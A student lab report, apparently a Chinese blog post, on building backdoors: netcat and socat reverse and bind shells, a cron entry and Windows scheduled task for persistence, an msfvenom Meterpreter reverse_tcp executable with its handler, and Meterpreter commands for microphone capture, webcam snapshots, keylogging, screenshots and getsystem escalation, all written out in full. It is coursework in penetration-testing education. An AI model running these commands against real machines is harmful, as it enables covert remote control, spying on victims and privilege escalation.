后门原理与实现-20181224

 

一、实验内容

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (0.5分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

二、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:钓鱼网站,网站挂马,下载的软件时被捆绑了恶意后门程序,收到社会工程学攻击。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:Linux中可以通过cron将后门设置为所需的定时启动,通过反弹式连接到客户端然后攻击者通过恶意控制启动后门;Windows中,攻击者可以通过修改注册表将后门程序添加到自启动项中,也可以将后门捆绑植入到各种正常的文件、程序中,当我们打开这些文件程序时后门被启动。

(3)Meterpreter有哪些给你映像深刻的功能?

答:可以获得目标主机的摄像头、音频等记录,对我来说印象非常深刻,让人防不胜防,另外是Meterpreter在目标机重启之后仍可控制。

(4)如何发现自己有系统有没有被安装后门?

答:通过任务管理器查看是否有在运行可疑进程,检查比照注册表中是否有可疑的自启动项,及时使用杀软对系统进行扫描。

二、熟悉基本工具

1. NC或ncat

  • NC也叫作netcat或ncat,是一个底层工具,进行基本的TCP UDP数据收发。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。它常被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。

Win获得Linux shell

         win主机输入ipconfig查看本机地址

  • win主机运行监听指令 ncat.exe -l -p 1224

  • Linux反弹连接win主机 nc 172.168.228.63 1224 -e /bin/sh


         连接成功,win成功获得Linux的shell

  • Linux获得Win Shell

          Linux运行监听指令

                   首先查看kali虚拟机的ip地址

运行监听指令nc -l -p 1224

Windows反弹连接Linux ncat.exe -e cmd.exe 192.168.187.137 1224

                       Linux下看到Windows的命令提示

使用nc传输数据和文件

        传输数据

  • Windows下监听1224端口,ncat.exe -l 1224
  • kali反弹连接到Windows的1224端口,nc 192.168.187.137 1224
  • 连接建立成功,双方可以相互传输数据

传输文件

Linux向win传输文件

Windows下监听1224端口,并把接收到的数据保存到file1.out中,ncat.exe -l 1224 > file1.out

kali反弹连接到Windows的1224端口,并将file1.in文件传送过去。nc 172.168.228.63 < file1.in

连接建立成功,Win可以收到kali发来的文件。

 

win向Linux传输文件

Linux下监听1224端口,并将接收到的数据保存到文件file1.txt中,nc -l -p 1224 > file1.txt

win反弹连接到Linux的1224端口,并将file1.txt传过去。ncat.exe 192.168.187.137 1224 < file1.txt

连接建立成功,文件传输成功。

2. socat

socat又称Netcat++,超级netcat工具,是nc的加强版

任何代理、转发等功能都可以用该工具实现socat是ncat的增强版

它的使用格式是。socat [options] <address> <address>其中两个address是必选项,而options 是可选项。address就类似于一个文件描述符,socat所做的工作就是在2个address指定的描述符间建立一个pipe用于发送和接收数据。

3. cron

cron 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

由于Cron 是Linux的内置服务,但它不自动起来,可以用以下的方法启动、关闭这个服务:
/sbin/service crond start //启动服务
/sbin/service crond stop //关闭服务

cron服务提供crontab命令来设定cron服务的,以下是一些常用的命令说明:
crontab -u //设定某个用户的cron服务,一般root用户在执行这个命令的时候需要此参数
crontab -l //列出某个用户cron服务的详细内容
crontab -e //编辑某个用户的cron服务


cron 的主配置文件是 /etc/crontab,文件中的每一行都代表一项任务,它的格式是:* * * * * command
这个格式的前一部分是对时间的设定,后面一部分是要执行的命令,如果要执行的命令太多,可以把这些命令写到一个脚本里面,然后在这里直接调用这个脚本就可以了,调用的时候记得写出命令的完整路径。时间的设定我们有一定的约定,前面五个*号代表五个数字,数字的取值范围和含义如下:

minute — 分钟,从 0 到 59 之间的任何整数

hour — 小时,从 0 到 23 之间的任何整数

day — 日期,从 1 到 31 之间的任何整数(如果指定了月份,必须是该月份的有效日期)

month — 月份,从 1 到 12 之间的任何整数(或使用月份的英文简写如 jan、feb 等等)

dayofweek — 星期,从 0 到 7 之间的任何整数,这里的 0 或 7 代表星期日(或使用星期的英文简写如 sun、mon 等等)

除了数字还可以使用如下几个特殊的符号:*:取值范围内的所有数字;/:每过多少个数字;-:从某个数字到某个数字;,:分开几个离散的数字

  • 4. Meterpreter

  • Meterpreter是MSF中的一个杀手锏,通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。Meterpreter是MSF的一个扩展模块,可以调用MSF的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等等。

  • Meterpreter优点

    • 纯内存工作模式,不需要对磁盘进行任何写入操作
    • 使用加密通信协议,而且可以同时与几个信道通信
    • 在被攻击进程内工作,不需要创建新的进程
    • 易于在多进程之间迁移
    • 平台通用,适用于Windows、Linux、BSD系统,并支持Inter x86和Inter x64平台
  • Meterpreter基本用法

    • 在获得系统的Meterpreter会话之后,可以通过输入help查看帮助手册

    • 生成基于TCP的反向链接反弹shell

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=XXX -f exe > meter_backdoor.exe

      参数说明:

      • -p 使用的payload(有效载荷),就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
      • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
      • -e 使用的编码器,用于对shellcode变形,为了免杀。
      • -i 编码器的迭代次数。
      • -b badchar是payload中需要去除的字符。
      • LHOST 是反弹回连的IP
      • LPORT 是回连的端口
      • -f 生成文件的类型
    • 查看Meterpreter Shell的进程号:getpid

    • 获取运行Meterpreter会话的用户名:getuid

    • 获取系统信息:sysinfo

    • 对当前用户进行提权:getsystem

    • 获取目标机正在运行的进程:ps

    • 将当前的session放到后台运行,可以在msf中继续其他的渗透任务:background

    • 查看已经成功获取的会话:sessions

      • sessions -i ID:连接到执行ID的meterpreter会话已继续利用
    • 在目标机中执行文件或程序:execute

    • 在目标机中下载文件:download 目标文件路径 本地路径

    • 在目标机中上传文件:upload 源文件路径 目的文件路径

  • 四、实验内容

  • 任务一:使用netcat获取主机操作Shell,cron启动。

  • windows 打开监听

           首先使用ipconfig获得主机的地址

            然后使用ncat.exe程序打开监听,设置监听端口为1224,输入ncat.exe -l -p 1224

  • 使用cron添加命令,使得Linux反弹连接

在kali虚拟机内执行crontab -e,在文件的最末尾添加55 * * * * /bin/netcat 172.16.228.63 1224 -e /bin/sh,意思是在每个小时的第55分钟反向连接Windows主机的1224端口

               每个小时的第55分钟,添加的那条指令就会执行,也就是说我们在Windows的命令行中可以获得Linux的shell,执行相关指令

 
  • 任务二:使用socat获取主机操作Shell, 任务计划启动。

  • 在Windows中创建socat连接任务

         打开“计算机管理”,点击“任务计划程序”的“创建任务”,输入任务名称exp2 20181224

          选择触发器,新建一个,选择开始任务为:工作站锁定时

        选择操作,新建,在程序或脚本处选择本机socat.exe的下载位置。在添加参数一栏填写tcp-listen:1224 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1224,同时把cmd.exe的stderr重定向到stdout上。

  • 此时任务创建完成,可以看到它处于准备就绪状态。右击选择运行。(重新建立了exp2)
  • 在Linux中利用socat连接被控主机(Windows),获取shell

        在Kali中输入指令socat - tcp:172.16.228.63:1224,即可发现已经成功获得了一个cmd命令行窗口。输入Windows下命令行的相关指令即可执行


  • 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

  • 在kali虚拟机上执行代码 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.137 LPORT=1224 -f exe > 20181224_backdoor.exe,生成后门程序20181224_backdoor.exe。注意:这里LHOST的地址为kali机的地址。

         2.使用nc将此后门程序传给Windows主机

Windows主机在ncat文件夹下执行ncat.exe -lv 1224 > 20181224_backdoor.exe,接收文件。-lv参数可以看到当前的连接状态。

在kali机中执行nc 192.16.228.63 1224 < 20181224_backdoor.exe,发送文件。注意:此处的ip地址为Windows主机的ip发送成功,连接状态如下图所示:

 

 

            在Kali机上使msfconsole指令进入msf控制台

 输入use exploit/multi/handler进入handler

输入set payload windows/meterpreter/reverse_tcp设置连接(playload)

输入set LHOST 192.168.174.129设置ip地址(Linux地址)

输入set LPORT 1318设置端口号

输入show options再次查看设置是否正确

输入exploit打开监听

在Windows上双击20181224_backdoor.exe

此时kali机获得win主机的反弹连接,并且获得了远程控制shell

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

获取音频

在meterpreter中输入record_mic指令可以截获一段音频。-d选项可以设置录制时间。

第2个音频设置了时间为5s。

获取摄像头

输入webcam_snap指令可以使用摄像头进行拍照


获取键盘记录

使用keyscan_start指令开始记录下击键的过程

使用keyscan_dump指令读取击键的记录

 获取截屏

使用screenshot指令可以进行截屏

提权

首先使用getuid指令查看当前用户

使用getsystem指令进行提权

看到同学给出的解答是将后门程序的名字修改为install.exe即可提权,尝试后发现确实如此,提权成功。

  • 五、问题及解决

  • 在任务一中,向Windows主机传输后门程序时,点击是显示“另一个程序正在使用此文件”

原因:命令行没有关闭,文件还在传输状态

解决:关闭主机命令行。

  • 主机防火墙、杀软关闭后,点击后门程序无反应。

原因:kali的防火墙没有关闭。

解决:通过ufw disable关闭kali防火墙,这些操作在实验完成后都要记得及时恢复。

 

六、实验感想

       本次实验让我感到十分的新奇,也存在不少挑战,我在参考同学的博客,逐步实现实验任务的过程中学到了很多后门原理,尤其是任务四中通过后门对攻击对象音频、视频、键盘、屏幕的抓取,让我感慨颇深,更加体会到网络安全的重要性、后门程序的强大性。当然,实验中实现的是一些很基本的操作,或许在现实中早已本杀软记录,但是原理是相通的,我了解到了后门的许多基本原理!实验中我感觉相对需要理解的是每条指令中ip的选择,什么时候是目标机ip,什么时候是主机ip,理解了这个相信就能对攻击的具体过程有一定的认识。总的来说,实验很激励我去学习更多的软件后门知识、渗透测试知识等等!

原文地址:https://www.cnblogs.com/jiangjiahao/p/14590099.html